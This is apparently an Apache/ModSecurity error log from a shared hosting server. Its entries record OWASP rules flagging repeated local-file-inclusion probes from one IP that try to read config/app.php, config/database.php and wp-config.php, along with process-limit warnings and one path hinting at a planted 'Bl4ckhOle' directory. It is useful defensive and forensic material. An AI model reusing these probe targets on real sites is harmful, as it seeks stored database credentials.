[Fri Jul 17 08:55:43.405174 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtxAi3pC6yjXGNq2AgwAAAAU"]
[Fri Jul 17 08:55:43.405759 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtxAi3pC6yjXGNq2AgwAAAAU"]
[Fri Jul 17 08:55:43.405870 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.406150 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtxAi3pC6yjXGNq2AgwAAAAU"]
[Fri Jul 17 08:55:43.410326 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: d56ub/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtw5GPQ6hs4VrfMpBrwAAAAY"]
[Fri Jul 17 08:55:43.410960 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgtw5GPQ6hs4VrfMpBrwAAAAY"]
[Fri Jul 17 08:55:43.411128 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.411423 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtw5GPQ6hs4VrfMpBrwAAAAY"]
[Fri Jul 17 08:55:43.431910 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.432017 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.433559 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgt4e39YUk0SgV8AU6mgAAABE"]
[Fri Jul 17 08:55:43.434238 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgt4e39YUk0SgV8AU6mgAAABE"]
[Fri Jul 17 08:55:43.434383 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.434682 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgt4e39YUk0SgV8AU6mgAAABE"]
[Fri Jul 17 08:55:43.434934 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 47.82.14.45:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:05.0/resource0
[Fri Jul 17 08:55:43.460523 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:43.473583 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.479091 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:43.481020 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.498298 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.508341 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.509747 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.533768 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.538155 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.567328 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.575023 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.575638 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.598876 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.603567 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.625796 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: ydm1b/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgtzsMb3am0TgkjETayAAAAAo"]
[Fri Jul 17 08:55:43.626450 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgtzsMb3am0TgkjETayAAAAAo"]
[Fri Jul 17 08:55:43.626601 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.626754 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgtzsMb3am0TgkjETayAAAAAo"]
[Fri Jul 17 08:55:43.640456 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgt0kXT4NBqALj2lZ83QAAABA"]
[Fri Jul 17 08:55:43.641284 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgt0kXT4NBqALj2lZ83QAAABA"]
[Fri Jul 17 08:55:43.641440 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.641630 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgt0kXT4NBqALj2lZ83QAAABA"]
[Fri Jul 17 08:55:43.648573 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: rrd9q/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgt41dLClkUfK_dfHk0wAAAAI"]
[Fri Jul 17 08:55:43.649401 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgt41dLClkUfK_dfHk0wAAAAI"]
[Fri Jul 17 08:55:43.649561 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.649825 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgt41dLClkUfK_dfHk0wAAAAI"]
[Fri Jul 17 08:55:43.658053 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgt0gVnBK6wAv37w6sYgAAABQ"]
[Fri Jul 17 08:55:43.658668 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgt0gVnBK6wAv37w6sYgAAABQ"]
[Fri Jul 17 08:55:43.658817 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.658938 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgt0gVnBK6wAv37w6sYgAAABQ"]
[Fri Jul 17 08:55:43.661212 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: m96mh/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgt4e39YUk0SgV8AU6nQAAABE"]
[Fri Jul 17 08:55:43.662121 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgt4e39YUk0SgV8AU6nQAAABE"]
[Fri Jul 17 08:55:43.662366 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:43.662604 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgt4e39YUk0SgV8AU6nQAAABE"]
[Fri Jul 17 08:55:43.678497 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api"] [unique_id "almgtw5GPQ6hs4VrfMpBswAAAAY"]
